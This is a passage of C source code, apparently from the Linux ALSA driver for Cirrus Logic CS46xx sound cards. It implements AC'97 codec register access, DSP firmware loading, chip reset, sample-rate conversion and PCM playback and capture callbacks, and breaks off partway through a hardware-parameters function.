#include <sound/core.h> #include <sound/control.h> #include <sound/info.h> #include <sound/pcm.h> #include <sound/pcm_params.h> #include "cs46xx.h" #include "cs46xx_lib.h" #include "dsp_spos.h" static void amp_voyetra(struct snd_cs46xx *chip, int change); #ifdef CONFIG_SND_CS46XX_NEW_DSP static const struct snd_pcm_ops snd_cs46xx_playback_rear_ops; static const struct snd_pcm_ops snd_cs46xx_playback_indirect_rear_ops; static const struct snd_pcm_ops snd_cs46xx_playback_clfe_ops; static const struct snd_pcm_ops snd_cs46xx_playback_indirect_clfe_ops; static const struct snd_pcm_ops snd_cs46xx_playback_iec958_ops; static const struct snd_pcm_ops snd_cs46xx_playback_indirect_iec958_ops; #endif static const struct snd_pcm_ops snd_cs46xx_playback_ops; static const struct snd_pcm_ops snd_cs46xx_playback_indirect_ops; static const struct snd_pcm_ops snd_cs46xx_capture_ops; static const struct snd_pcm_ops snd_cs46xx_capture_indirect_ops; static unsigned short snd_cs46xx_codec_read(struct snd_cs46xx *chip, unsigned short reg, int codec_index) { int count; unsigned short result,tmp; u32 offset = 0; if (snd_BUG_ON(codec_index != CS46XX_PRIMARY_CODEC_INDEX && codec_index != CS46XX_SECONDARY_CODEC_INDEX)) return 0xffff; chip->active_ctrl(chip, 1); if (codec_index == CS46XX_SECONDARY_CODEC_INDEX) offset = CS46XX_SECONDARY_CODEC_OFFSET; /* * 1. Write ACCAD = Command Address Register = 46Ch for AC97 register address * 2. Write ACCDA = Command Data Register = 470h for data to write to AC97 * 3. Write ACCTL = Control Register = 460h for initiating the write7---55 * 4. Read ACCTL = 460h, DCV should be reset by now and 460h = 17h * 5. if DCV not cleared, break and return error * 6. Read ACSTS = Status Register = 464h, check VSTS bit */ snd_cs46xx_peekBA0(chip, BA0_ACSDA + offset); tmp = snd_cs46xx_peekBA0(chip, BA0_ACCTL); if ((tmp & ACCTL_VFRM) == 0) { dev_warn(chip->card->dev, "ACCTL_VFRM not set 0x%x\n", tmp); snd_cs46xx_pokeBA0(chip, BA0_ACCTL, (tmp & (~ACCTL_ESYN)) | ACCTL_VFRM ); msleep(50); tmp = snd_cs46xx_peekBA0(chip, BA0_ACCTL + offset); snd_cs46xx_pokeBA0(chip, BA0_ACCTL, tmp | ACCTL_ESYN | ACCTL_VFRM ); } /* * Setup the AC97 control registers on the CS461x to send the * appropriate command to the AC97 to perform the read. * ACCAD = Command Address Register = 46Ch * ACCDA = Command Data Register = 470h * ACCTL = Control Register = 460h * set DCV - will clear when process completed * set CRW - Read command * set VFRM - valid frame enabled * set ESYN - ASYNC generation enabled * set RSTN - ARST# inactive, AC97 codec not reset */ snd_cs46xx_pokeBA0(chip, BA0_ACCAD, reg); snd_cs46xx_pokeBA0(chip, BA0_ACCDA, 0); if (codec_index == CS46XX_PRIMARY_CODEC_INDEX) { snd_cs46xx_pokeBA0(chip, BA0_ACCTL,/* clear ACCTL_DCV */ ACCTL_CRW | ACCTL_VFRM | ACCTL_ESYN | ACCTL_RSTN); snd_cs46xx_pokeBA0(chip, BA0_ACCTL, ACCTL_DCV | ACCTL_CRW | ACCTL_VFRM | ACCTL_ESYN | ACCTL_RSTN); } else { snd_cs46xx_pokeBA0(chip, BA0_ACCTL, ACCTL_DCV | ACCTL_TC | ACCTL_CRW | ACCTL_VFRM | ACCTL_ESYN | ACCTL_RSTN); } /* * Wait for the read to occur. */ for (count = 0; count < 1000; count++) { /* * First, we want to wait for a short time. */ udelay(10); /* * Now, check to see if the read has completed. * ACCTL = 460h, DCV should be reset by now and 460h = 17h */ if (!(snd_cs46xx_peekBA0(chip, BA0_ACCTL) & ACCTL_DCV)) goto ok1; } dev_err(chip->card->dev, "AC'97 read problem (ACCTL_DCV), reg = 0x%x\n", reg); result = 0xffff; goto end; ok1: /* * Wait for the valid status bit to go active. */ for (count = 0; count < 100; count++) { /* * Read the AC97 status register. * ACSTS = Status Register = 464h * VSTS - Valid Status */ if (snd_cs46xx_peekBA0(chip, BA0_ACSTS + offset) & ACSTS_VSTS) goto ok2; udelay(10); } dev_err(chip->card->dev, "AC'97 read problem (ACSTS_VSTS), codec_index %d, reg = 0x%x\n", codec_index, reg); result = 0xffff; goto end; ok2: /* * Read the data returned from the AC97 register. * ACSDA = Status Data Register = 474h */ #if 0 dev_dbg(chip->card->dev, "e) reg = 0x%x, val = 0x%x, BA0_ACCAD = 0x%x\n", reg, snd_cs46xx_peekBA0(chip, BA0_ACSDA), snd_cs46xx_peekBA0(chip, BA0_ACCAD)); #endif //snd_cs46xx_peekBA0(chip, BA0_ACCAD); result = snd_cs46xx_peekBA0(chip, BA0_ACSDA + offset); end: chip->active_ctrl(chip, -1); return result; } static unsigned short snd_cs46xx_ac97_read(struct snd_ac97 * ac97, unsigned short reg) { struct snd_cs46xx *chip = ac97->private_data; unsigned short val; int codec_index = ac97->num; if (snd_BUG_ON(codec_index != CS46XX_PRIMARY_CODEC_INDEX && codec_index != CS46XX_SECONDARY_CODEC_INDEX)) return 0xffff; val = snd_cs46xx_codec_read(chip, reg, codec_index); return val; } static void snd_cs46xx_codec_write(struct snd_cs46xx *chip, unsigned short reg, unsigned short val, int codec_index) { int count; if (snd_BUG_ON(codec_index != CS46XX_PRIMARY_CODEC_INDEX && codec_index != CS46XX_SECONDARY_CODEC_INDEX)) return; chip->active_ctrl(chip, 1); /* * 1. Write ACCAD = Command Address Register = 46Ch for AC97 register address * 2. Write ACCDA = Command Data Register = 470h for data to write to AC97 * 3. Write ACCTL = Control Register = 460h for initiating the write * 4. Read ACCTL = 460h, DCV should be reset by now and 460h = 07h * 5. if DCV not cleared, break and return error */ /* * Setup the AC97 control registers on the CS461x to send the * appropriate command to the AC97 to perform the read. * ACCAD = Command Address Register = 46Ch * ACCDA = Command Data Register = 470h * ACCTL = Control Register = 460h * set DCV - will clear when process completed * reset CRW - Write command * set VFRM - valid frame enabled * set ESYN - ASYNC generation enabled * set RSTN - ARST# inactive, AC97 codec not reset */ snd_cs46xx_pokeBA0(chip, BA0_ACCAD , reg); snd_cs46xx_pokeBA0(chip, BA0_ACCDA , val); snd_cs46xx_peekBA0(chip, BA0_ACCTL); if (codec_index == CS46XX_PRIMARY_CODEC_INDEX) { snd_cs46xx_pokeBA0(chip, BA0_ACCTL, /* clear ACCTL_DCV */ ACCTL_VFRM | ACCTL_ESYN | ACCTL_RSTN); snd_cs46xx_pokeBA0(chip, BA0_ACCTL, ACCTL_DCV | ACCTL_VFRM | ACCTL_ESYN | ACCTL_RSTN); } else { snd_cs46xx_pokeBA0(chip, BA0_ACCTL, ACCTL_DCV | ACCTL_TC | ACCTL_VFRM | ACCTL_ESYN | ACCTL_RSTN); } for (count = 0; count < 4000; count++) { /* * First, we want to wait for a short time. */ udelay(10); /* * Now, check to see if the write has completed. * ACCTL = 460h, DCV should be reset by now and 460h = 07h */ if (!(snd_cs46xx_peekBA0(chip, BA0_ACCTL) & ACCTL_DCV)) { goto end; } } dev_err(chip->card->dev, "AC'97 write problem, codec_index = %d, reg = 0x%x, val = 0x%x\n", codec_index, reg, val); end: chip->active_ctrl(chip, -1); } static void snd_cs46xx_ac97_write(struct snd_ac97 *ac97, unsigned short reg, unsigned short val) { struct snd_cs46xx *chip = ac97->private_data; int codec_index = ac97->num; if (snd_BUG_ON(codec_index != CS46XX_PRIMARY_CODEC_INDEX && codec_index != CS46XX_SECONDARY_CODEC_INDEX)) return; snd_cs46xx_codec_write(chip, reg, val, codec_index); } /* * Chip initialization */ int snd_cs46xx_download(struct snd_cs46xx *chip, u32 *src, unsigned long offset, unsigned long len) { void __iomem *dst; unsigned int bank = offset >> 16; offset = offset & 0xffff; if (snd_BUG_ON((offset & 3) || (len & 3))) return -EINVAL; dst = chip->region.idx[bank+1].remap_addr + offset; len /= sizeof(u32); /* writel already converts 32-bit value to right endianess */ while (len-- > 0) { writel(*src++, dst); dst += sizeof(u32); } return 0; } static inline void memcpy_le32(void *dst, const void *src, unsigned int len) { #ifdef __LITTLE_ENDIAN memcpy(dst, src, len); #else u32 *_dst = dst; const __le32 *_src = src; len /= 4; while (len-- > 0) *_dst++ = le32_to_cpu(*_src++); #endif } #ifdef CONFIG_SND_CS46XX_NEW_DSP static const char *module_names[CS46XX_DSP_MODULES] = { "cwc4630", "cwcasync", "cwcsnoop", "cwcbinhack", "cwcdma" }; MODULE_FIRMWARE("cs46xx/cwc4630"); MODULE_FIRMWARE("cs46xx/cwcasync"); MODULE_FIRMWARE("cs46xx/cwcsnoop"); MODULE_FIRMWARE("cs46xx/cwcbinhack"); MODULE_FIRMWARE("cs46xx/cwcdma"); static void free_module_desc(struct dsp_module_desc *module) { if (!module) return; kfree(module->module_name); kfree(module->symbol_table.symbols); if (module->segments) { int i; for (i = 0; i < module->nsegments; i++) kfree(module->segments[i].data); kfree(module->segments); } kfree(module); } /* firmware binary format: * le32 nsymbols; * struct { * le32 address; * char symbol_name[DSP_MAX_SYMBOL_NAME]; * le32 symbol_type; * } symbols[nsymbols]; * le32 nsegments; * struct { * le32 segment_type; * le32 offset; * le32 size; * le32 data[size]; * } segments[nsegments]; */ static int load_firmware(struct snd_cs46xx *chip, struct dsp_module_desc **module_ret, const char *fw_name) { int i, err; unsigned int nums, fwlen, fwsize; const __le32 *fwdat; struct dsp_module_desc *module = NULL; const struct firmware *fw; char fw_path[32]; sprintf(fw_path, "cs46xx/%s", fw_name); err = request_firmware(&fw, fw_path, &chip->pci->dev); if (err < 0) return err; fwsize = fw->size / 4; if (fwsize < 2) { err = -EINVAL; goto error; } err = -ENOMEM; module = kzalloc(sizeof(*module), GFP_KERNEL); if (!module) goto error; module->module_name = kstrdup(fw_name, GFP_KERNEL); if (!module->module_name) goto error; fwlen = 0; fwdat = (const __le32 *)fw->data; nums = module->symbol_table.nsymbols = le32_to_cpu(fwdat[fwlen++]); if (nums >= 40) goto error_inval; module->symbol_table.symbols = kcalloc(nums, sizeof(struct dsp_symbol_entry), GFP_KERNEL); if (!module->symbol_table.symbols) goto error; for (i = 0; i < nums; i++) { struct dsp_symbol_entry *entry = &module->symbol_table.symbols[i]; if (fwlen + 2 + DSP_MAX_SYMBOL_NAME / 4 > fwsize) goto error_inval; entry->address = le32_to_cpu(fwdat[fwlen++]); memcpy(entry->symbol_name, &fwdat[fwlen], DSP_MAX_SYMBOL_NAME - 1); fwlen += DSP_MAX_SYMBOL_NAME / 4; entry->symbol_type = le32_to_cpu(fwdat[fwlen++]); } if (fwlen >= fwsize) goto error_inval; nums = module->nsegments = le32_to_cpu(fwdat[fwlen++]); if (nums > 10) goto error_inval; module->segments = kcalloc(nums, sizeof(struct dsp_segment_desc), GFP_KERNEL); if (!module->segments) goto error; for (i = 0; i < nums; i++) { struct dsp_segment_desc *entry = &module->segments[i]; if (fwlen + 3 > fwsize) goto error_inval; entry->segment_type = le32_to_cpu(fwdat[fwlen++]); entry->offset = le32_to_cpu(fwdat[fwlen++]); entry->size = le32_to_cpu(fwdat[fwlen++]); if (fwlen + entry->size > fwsize) goto error_inval; entry->data = kmalloc_array(entry->size, 4, GFP_KERNEL); if (!entry->data) goto error; memcpy_le32(entry->data, &fwdat[fwlen], entry->size * 4); fwlen += entry->size; } *module_ret = module; release_firmware(fw); return 0; error_inval: err = -EINVAL; error: free_module_desc(module); release_firmware(fw); return err; } int snd_cs46xx_clear_BA1(struct snd_cs46xx *chip, unsigned long offset, unsigned long len) { void __iomem *dst; unsigned int bank = offset >> 16; offset = offset & 0xffff; if (snd_BUG_ON((offset & 3) || (len & 3))) return -EINVAL; dst = chip->region.idx[bank+1].remap_addr + offset; len /= sizeof(u32); /* writel already converts 32-bit value to right endianess */ while (len-- > 0) { writel(0, dst); dst += sizeof(u32); } return 0; } #else /* old DSP image */ struct ba1_struct { struct { u32 offset; u32 size; } memory[BA1_MEMORY_COUNT]; u32 map[BA1_DWORD_SIZE]; }; MODULE_FIRMWARE("cs46xx/ba1"); static int load_firmware(struct snd_cs46xx *chip) { const struct firmware *fw; int i, size, err; err = request_firmware(&fw, "cs46xx/ba1", &chip->pci->dev); if (err < 0) return err; if (fw->size != sizeof(*chip->ba1)) { err = -EINVAL; goto error; } chip->ba1 = vmalloc(sizeof(*chip->ba1)); if (!chip->ba1) { err = -ENOMEM; goto error; } memcpy_le32(chip->ba1, fw->data, sizeof(*chip->ba1)); /* sanity check */ size = 0; for (i = 0; i < BA1_MEMORY_COUNT; i++) size += chip->ba1->memory[i].size; if (size > BA1_DWORD_SIZE * 4) err = -EINVAL; error: release_firmware(fw); return err; } int snd_cs46xx_download_image(struct snd_cs46xx *chip) { int idx, err; unsigned int offset = 0; struct ba1_struct *ba1 = chip->ba1; for (idx = 0; idx < BA1_MEMORY_COUNT; idx++) { err = snd_cs46xx_download(chip, &ba1->map[offset], ba1->memory[idx].offset, ba1->memory[idx].size); if (err < 0) return err; offset += ba1->memory[idx].size >> 2; } return 0; } #endif /* CONFIG_SND_CS46XX_NEW_DSP */ /* * Chip reset */ static void snd_cs46xx_reset(struct snd_cs46xx *chip) { int idx; /* * Write the reset bit of the SP control register. */ snd_cs46xx_poke(chip, BA1_SPCR, SPCR_RSTSP); /* * Write the control register. */ snd_cs46xx_poke(chip, BA1_SPCR, SPCR_DRQEN); /* * Clear the trap registers. */ for (idx = 0; idx < 8; idx++) { snd_cs46xx_poke(chip, BA1_DREG, DREG_REGID_TRAP_SELECT + idx); snd_cs46xx_poke(chip, BA1_TWPR, 0xFFFF); } snd_cs46xx_poke(chip, BA1_DREG, 0); /* * Set the frame timer to reflect the number of cycles per frame. */ snd_cs46xx_poke(chip, BA1_FRMT, 0xadf); } static int cs46xx_wait_for_fifo(struct snd_cs46xx * chip,int retry_timeout) { u32 i, status = 0; /* * Make sure the previous FIFO write operation has completed. */ for(i = 0; i < 50; i++){ status = snd_cs46xx_peekBA0(chip, BA0_SERBST); if( !(status & SERBST_WBSY) ) break; mdelay(retry_timeout); } if(status & SERBST_WBSY) { dev_err(chip->card->dev, "failure waiting for FIFO command to complete\n"); return -EINVAL; } return 0; } static void snd_cs46xx_clear_serial_FIFOs(struct snd_cs46xx *chip) { int idx, powerdown = 0; unsigned int tmp; /* * See if the devices are powered down. If so, we must power them up first * or they will not respond. */ tmp = snd_cs46xx_peekBA0(chip, BA0_CLKCR1); if (!(tmp & CLKCR1_SWCE)) { snd_cs46xx_pokeBA0(chip, BA0_CLKCR1, tmp | CLKCR1_SWCE); powerdown = 1; } /* * We want to clear out the serial port FIFOs so we don't end up playing * whatever random garbage happens to be in them. We fill the sample FIFOS * with zero (silence). */ snd_cs46xx_pokeBA0(chip, BA0_SERBWP, 0); /* * Fill all 256 sample FIFO locations. */ for (idx = 0; idx < 0xFF; idx++) { /* * Make sure the previous FIFO write operation has completed. */ if (cs46xx_wait_for_fifo(chip,1)) { dev_dbg(chip->card->dev, "failed waiting for FIFO at addr (%02X)\n", idx); if (powerdown) snd_cs46xx_pokeBA0(chip, BA0_CLKCR1, tmp); break; } /* * Write the serial port FIFO index. */ snd_cs46xx_pokeBA0(chip, BA0_SERBAD, idx); /* * Tell the serial port to load the new value into the FIFO location. */ snd_cs46xx_pokeBA0(chip, BA0_SERBCM, SERBCM_WRC); } /* * Now, if we powered up the devices, then power them back down again. * This is kinda ugly, but should never happen. */ if (powerdown) snd_cs46xx_pokeBA0(chip, BA0_CLKCR1, tmp); } static void snd_cs46xx_proc_start(struct snd_cs46xx *chip) { int cnt; /* * Set the frame timer to reflect the number of cycles per frame. */ snd_cs46xx_poke(chip, BA1_FRMT, 0xadf); /* * Turn on the run, run at frame, and DMA enable bits in the local copy of * the SP control register. */ snd_cs46xx_poke(chip, BA1_SPCR, SPCR_RUN | SPCR_RUNFR | SPCR_DRQEN); /* * Wait until the run at frame bit resets itself in the SP control * register. */ for (cnt = 0; cnt < 25; cnt++) { udelay(50); if (!(snd_cs46xx_peek(chip, BA1_SPCR) & SPCR_RUNFR)) break; } if (snd_cs46xx_peek(chip, BA1_SPCR) & SPCR_RUNFR) dev_err(chip->card->dev, "SPCR_RUNFR never reset\n"); } static void snd_cs46xx_proc_stop(struct snd_cs46xx *chip) { /* * Turn off the run, run at frame, and DMA enable bits in the local copy of * the SP control register. */ snd_cs46xx_poke(chip, BA1_SPCR, 0); } /* * Sample rate routines */ #define GOF_PER_SEC 200 static void snd_cs46xx_set_play_sample_rate(struct snd_cs46xx *chip, unsigned int rate) { unsigned long flags; unsigned int tmp1, tmp2; unsigned int phiIncr; unsigned int correctionPerGOF, correctionPerSec; /* * Compute the values used to drive the actual sample rate conversion. * The following formulas are being computed, using inline assembly * since we need to use 64 bit arithmetic to compute the values: * * phiIncr = floor((Fs,in * 2^26) / Fs,out) * correctionPerGOF = floor((Fs,in * 2^26 - Fs,out * phiIncr) / * GOF_PER_SEC) * ulCorrectionPerSec = Fs,in * 2^26 - Fs,out * phiIncr -M * GOF_PER_SEC * correctionPerGOF * * i.e. * * phiIncr:other = dividend:remainder((Fs,in * 2^26) / Fs,out) * correctionPerGOF:correctionPerSec = * dividend:remainder(ulOther / GOF_PER_SEC) */ tmp1 = rate << 16; phiIncr = tmp1 / 48000; tmp1 -= phiIncr * 48000; tmp1 <<= 10; phiIncr <<= 10; tmp2 = tmp1 / 48000; phiIncr += tmp2; tmp1 -= tmp2 * 48000; correctionPerGOF = tmp1 / GOF_PER_SEC; tmp1 -= correctionPerGOF * GOF_PER_SEC; correctionPerSec = tmp1; /* * Fill in the SampleRateConverter control block. */ spin_lock_irqsave(&chip->reg_lock, flags); snd_cs46xx_poke(chip, BA1_PSRC, ((correctionPerSec << 16) & 0xFFFF0000) | (correctionPerGOF & 0xFFFF)); snd_cs46xx_poke(chip, BA1_PPI, phiIncr); spin_unlock_irqrestore(&chip->reg_lock, flags); } static void snd_cs46xx_set_capture_sample_rate(struct snd_cs46xx *chip, unsigned int rate) { unsigned long flags; unsigned int phiIncr, coeffIncr, tmp1, tmp2; unsigned int correctionPerGOF, correctionPerSec, initialDelay; unsigned int frameGroupLength, cnt; /* * We can only decimate by up to a factor of 1/9th the hardware rate. * Correct the value if an attempt is made to stray outside that limit. */ if ((rate * 9) < 48000) rate = 48000 / 9; /* * We can not capture at at rate greater than the Input Rate (48000). * Return an error if an attempt is made to stray outside that limit. */ if (rate > 48000) rate = 48000; /* * Compute the values used to drive the actual sample rate conversion. * The following formulas are being computed, using inline assembly * since we need to use 64 bit arithmetic to compute the values: * * coeffIncr = -floor((Fs,out * 2^23) / Fs,in) * phiIncr = floor((Fs,in * 2^26) / Fs,out) * correctionPerGOF = floor((Fs,in * 2^26 - Fs,out * phiIncr) / * GOF_PER_SEC) * correctionPerSec = Fs,in * 2^26 - Fs,out * phiIncr - * GOF_PER_SEC * correctionPerGOF * initialDelay = ceil((24 * Fs,in) / Fs,out) * * i.e. * * coeffIncr = neg(dividend((Fs,out * 2^23) / Fs,in)) * phiIncr:ulOther = dividend:remainder((Fs,in * 2^26) / Fs,out) * correctionPerGOF:correctionPerSec = * dividend:remainder(ulOther / GOF_PER_SEC) * initialDelay = dividend(((24 * Fs,in) + Fs,out - 1) / Fs,out) */ tmp1 = rate << 16; coeffIncr = tmp1 / 48000; tmp1 -= coeffIncr * 48000; tmp1 <<= 7; coeffIncr <<= 7; coeffIncr += tmp1 / 48000; coeffIncr ^= 0xFFFFFFFF; coeffIncr++; tmp1 = 48000 << 16; phiIncr = tmp1 / rate; tmp1 -= phiIncr * rate; tmp1 <<= 10; phiIncr <<= 10; tmp2 = tmp1 / rate; phiIncr += tmp2; tmp1 -= tmp2 * rate; correctionPerGOF = tmp1 / GOF_PER_SEC; tmp1 -= correctionPerGOF * GOF_PER_SEC; correctionPerSec = tmp1; initialDelay = ((48000 * 24) + rate - 1) / rate; /* * Fill in the VariDecimate control block. */ spin_lock_irqsave(&chip->reg_lock, flags); snd_cs46xx_poke(chip, BA1_CSRC, ((correctionPerSec << 16) & 0xFFFF0000) | (correctionPerGOF & 0xFFFF)); snd_cs46xx_poke(chip, BA1_CCI, coeffIncr); snd_cs46xx_poke(chip, BA1_CD, (((BA1_VARIDEC_BUF_1 + (initialDelay << 2)) << 16) & 0xFFFF0000) | 0x80); snd_cs46xx_poke(chip, BA1_CPI, phiIncr); spin_unlock_irqrestore(&chip->reg_lock, flags); /* * Figure out the frame group length for the write back task. Basically, * this is just the factors of 24000 (2^6*3*5^3) that are not present in * the output sample rate. */ frameGroupLength = 1; for (cnt = 2; cnt <= 64; cnt *= 2) { if (((rate / cnt) * cnt) != rate) frameGroupLength *= 2; } if (((rate / 3) * 3) != rate) { frameGroupLength *= 3; } for (cnt = 5; cnt <= 125; cnt *= 5) { if (((rate / cnt) * cnt) != rate) frameGroupLength *= 5; } /* * Fill in the WriteBack control block. */ spin_lock_irqsave(&chip->reg_lock, flags); snd_cs46xx_poke(chip, BA1_CFG1, frameGroupLength); snd_cs46xx_poke(chip, BA1_CFG2, (0x00800000 | frameGroupLength)); snd_cs46xx_poke(chip, BA1_CCST, 0x0000FFFF); snd_cs46xx_poke(chip, BA1_CSPB, ((65536 * rate) / 24000)); snd_cs46xx_poke(chip, (BA1_CSPB + 4), 0x0000FFFF); spin_unlock_irqrestore(&chip->reg_lock, flags); } /* * PCM part */ static void snd_cs46xx_pb_trans_copy(struct snd_pcm_substream *substream, struct snd_pcm_indirect *rec, size_t bytes) { struct snd_pcm_runtime *runtime = substream->runtime; struct snd_cs46xx_pcm * cpcm = runtime->private_data; memcpy(cpcm->hw_buf.area + rec->hw_data, runtime->dma_area + rec->sw_data, bytes); } static int snd_cs46xx_playback_transfer(struct snd_pcm_substream *substream) { struct snd_pcm_runtime *runtime = substream->runtime; struct snd_cs46xx_pcm * cpcm = runtime->private_data; return snd_pcm_indirect_playback_transfer(substream, &cpcm->pcm_rec, snd_cs46xx_pb_trans_copy); } static void snd_cs46xx_cp_trans_copy(struct snd_pcm_substream *substream, struct snd_pcm_indirect *rec, size_t bytes) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); struct snd_pcm_runtime *runtime = substream->runtime; memcpy(runtime->dma_area + rec->sw_data, chip->capt.hw_buf.area + rec->hw_data, bytes); } static int snd_cs46xx_capture_transfer(struct snd_pcm_substream *substream) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); return snd_pcm_indirect_capture_transfer(substream, &chip->capt.pcm_rec, snd_cs46xx_cp_trans_copy); } static snd_pcm_uframes_t snd_cs46xx_playback_direct_pointer(struct snd_pcm_substream *substream) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); size_t ptr; struct snd_cs46xx_pcm *cpcm = substream->runtime->private_data; if (snd_BUG_ON(!cpcm->pcm_channel)) return -ENXIO; #ifdef CONFIG_SND_CS46XX_NEW_DSP ptr = snd_cs46xx_peek(chip, (cpcm->pcm_channel->pcm_reader_scb->address + 2) << 2); #else ptr = snd_cs46xx_peek(chip, BA1_PBA); #endif ptr -= cpcm->hw_buf.addr; return ptr >> cpcm->shift; } static snd_pcm_uframes_t snd_cs46xx_playback_indirect_pointer(struct snd_pcm_substream *substream) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); size_t ptr; struct snd_cs46xx_pcm *cpcm = substream->runtime->private_data; #ifdef CONFIG_SND_CS46XX_NEW_DSP if (snd_BUG_ON(!cpcm->pcm_channel)) return -ENXIO; ptr = snd_cs46xx_peek(chip, (cpcm->pcm_channel->pcm_reader_scb->address + 2) << 2); #else ptr = snd_cs46xx_peek(chip, BA1_PBA); #endif ptr -= cpcm->hw_buf.addr; return snd_pcm_indirect_playback_pointer(substream, &cpcm->pcm_rec, ptr); } static snd_pcm_uframes_t snd_cs46xx_capture_direct_pointer(struct snd_pcm_substream *substream) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); size_t ptr = snd_cs46xx_peek(chip, BA1_CBA) - chip->capt.hw_buf.addr; return ptr >> chip->capt.shift; } static snd_pcm_uframes_t snd_cs46xx_capture_indirect_pointer(struct snd_pcm_substream *substream) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); size_t ptr = snd_cs46xx_peek(chip, BA1_CBA) - chip->capt.hw_buf.addr; return snd_pcm_indirect_capture_pointer(substream, &chip->capt.pcm_rec, ptr); } static int snd_cs46xx_playback_trigger(struct snd_pcm_substream *substream, int cmd) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); /*struct snd_pcm_runtime *runtime = substream->runtime;*/ int result = 0; #ifdef CONFIG_SND_CS46XX_NEW_DSP struct snd_cs46xx_pcm *cpcm = substream->runtime->private_data; if (! cpcm->pcm_channel) { return -ENXIO; } #endif switch (cmd) { case SNDRV_PCM_TRIGGER_START: case SNDRV_PCM_TRIGGER_RESUME: #ifdef CONFIG_SND_CS46XX_NEW_DSP /* magic value to unmute PCM stream playback volume */ snd_cs46xx_poke(chip, (cpcm->pcm_channel->pcm_reader_scb->address + SCBVolumeCtrl) << 2, 0x80008000); if (cpcm->pcm_channel->unlinked) cs46xx_dsp_pcm_link(chip,cpcm->pcm_channel); if (substream->runtime->periods != CS46XX_FRAGS) snd_cs46xx_playback_transfer(substream); #else spin_lock(&chip->reg_lock); if (substream->runtime->periods != CS46XX_FRAGS) snd_cs46xx_playback_transfer(substream); { unsigned int tmp; tmp = snd_cs46xx_peek(chip, BA1_PCTL); tmp &= 0x0000ffff; snd_cs46xx_poke(chip, BA1_PCTL, chip->play_ctl | tmp); } spin_unlock(&chip->reg_lock); #endif break; case SNDRV_PCM_TRIGGER_STOP: case SNDRV_PCM_TRIGGER_SUSPEND: #ifdef CONFIG_SND_CS46XX_NEW_DSP /* magic mute channel */ snd_cs46xx_poke(chip, (cpcm->pcm_channel->pcm_reader_scb->address + SCBVolumeCtrl) << 2, 0xffffffff); if (!cpcm->pcm_channel->unlinked) cs46xx_dsp_pcm_unlink(chip,cpcm->pcm_channel); #else spin_lock(&chip->reg_lock); { unsigned int tmp; tmp = snd_cs46xx_peek(chip, BA1_PCTL); tmp &= 0x0000ffff; snd_cs46xx_poke(chip, BA1_PCTL, tmp); } spin_unlock(&chip->reg_lock); #endif break; default: result = -EINVAL; break; } return result; } static int snd_cs46xx_capture_trigger(struct snd_pcm_substream *substream, int cmd) { struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); unsigned int tmp; int result = 0; spin_lock(&chip->reg_lock); switch (cmd) { case SNDRV_PCM_TRIGGER_START: case SNDRV_PCM_TRIGGER_RESUME: tmp = snd_cs46xx_peek(chip, BA1_CCTL); tmp &= 0xffff0000; snd_cs46xx_poke(chip, BA1_CCTL, chip->capt.ctl | tmp); break; case SNDRV_PCM_TRIGGER_STOP: case SNDRV_PCM_TRIGGER_SUSPEND: tmp = snd_cs46xx_peek(chip, BA1_CCTL); tmp &= 0xffff0000; snd_cs46xx_poke(chip, BA1_CCTL, tmp); break; default: result = -EINVAL; break; } spin_unlock(&chip->reg_lock); return result; } #ifdef CONFIG_SND_CS46XX_NEW_DSP static int _cs46xx_adjust_sample_rate (struct snd_cs46xx *chip, struct snd_cs46xx_pcm *cpcm, int sample_rate) { /* If PCMReaderSCB and SrcTaskSCB not created yet ... */ if ( cpcm->pcm_channel == NULL) { cpcm->pcm_channel = cs46xx_dsp_create_pcm_channel (chip, sample_rate, cpcm, cpcm->hw_buf.addr,cpcm->pcm_channel_id); if (cpcm->pcm_channel == NULL) { dev_err(chip->card->dev, "failed to create virtual PCM channel\n"); return -ENOMEM; } cpcm->pcm_channel->sample_rate = sample_rate; } else /* if sample rate is changed */ if ((int)cpcm->pcm_channel->sample_rate != sample_rate) { int unlinked = cpcm->pcm_channel->unlinked; cs46xx_dsp_destroy_pcm_channel (chip,cpcm->pcm_channel); if ( (cpcm->pcm_channel = cs46xx_dsp_create_pcm_channel (chip, sample_rate, cpcm, cpcm->hw_buf.addr, cpcm->pcm_channel_id)) == NULL) { dev_err(chip->card->dev, "failed to re-create virtual PCM channel\n"); return -ENOMEM; } if (!unlinked) cs46xx_dsp_pcm_link (chip,cpcm->pcm_channel); cpcm->pcm_channel->sample_rate = sample_rate; } return 0; } #endif static int snd_cs46xx_playback_hw_params(struct snd_pcm_substream *substream, struct snd_pcm_hw_params *hw_params) { struct snd_pcm_runtime *runtime = substream->runtime; struct snd_cs46xx_pcm *cpcm; int err; #ifdef CONFIG_SND_CS46XX_NEW_DSP struct snd_cs46xx *chip = snd_pcm_substream_chip(substream); int sample_rate = params_rate(hw_params); int period_size = params_period_bytes(hw_params); #endif cpcm = runtime->private_data; #ifdef CONFIG_SND_CS46XX_NEW_DSP if (snd_BUG_ON(!sample_rate)) return -ENXIO; mutex_lock(&chip->spos_mutex); if (_cs46xx_adjust_sample_rate (chip,cpcm,sample_rate)) { mutex_unlock(&chip->spos_mutex); return -ENXIO; } snd_BUG_ON(!cpcm->pcm_channel); if (!cpcm->pcm_channel) { mutex_unlock(&chip->spos_mutex); return -ENXIO; } if (cs46xx_dsp_pcm_channel_set_period (chip,cpcm->pcm_channel,period_size)) { mutex_unlock(&chip->spos_mutex); return -EINVAL; } dev_dbg(chip->card->dev, "period_size (%d), periods (%d) buffer_size(%d)\n", period_size, params_periods(hw_params), params_buffer_bytes(hw_params)); #endif if (params_periods(hw_params) == CS46XX_FRAGS) { if (runtime->dma_area != cpcm->hw_buf.area) snd_pcm_lib_free_pages(substream); runtime->dma_area = cpcm->hw_buf.area; runtime->dma_addr = cpcm->hw_buf.addr; runtime->dma_bytes = cpcm->hw_buf.bytes; #ifdef CONFIG_SND_CS46XX_NEW_DSP if (cpcm->pcm_channel_id == DSP_PCM_MAIN_CHANNEL) { substream->ops = &snd_cs46xx_playback_ops; } else if (cpcm->pcm_channel_id == DSP_PCM_REAR_CHANNEL) { substream->ops = &snd_cs46xx_playback_rear_ops; } else if (cpcm->pcm_channel_id == 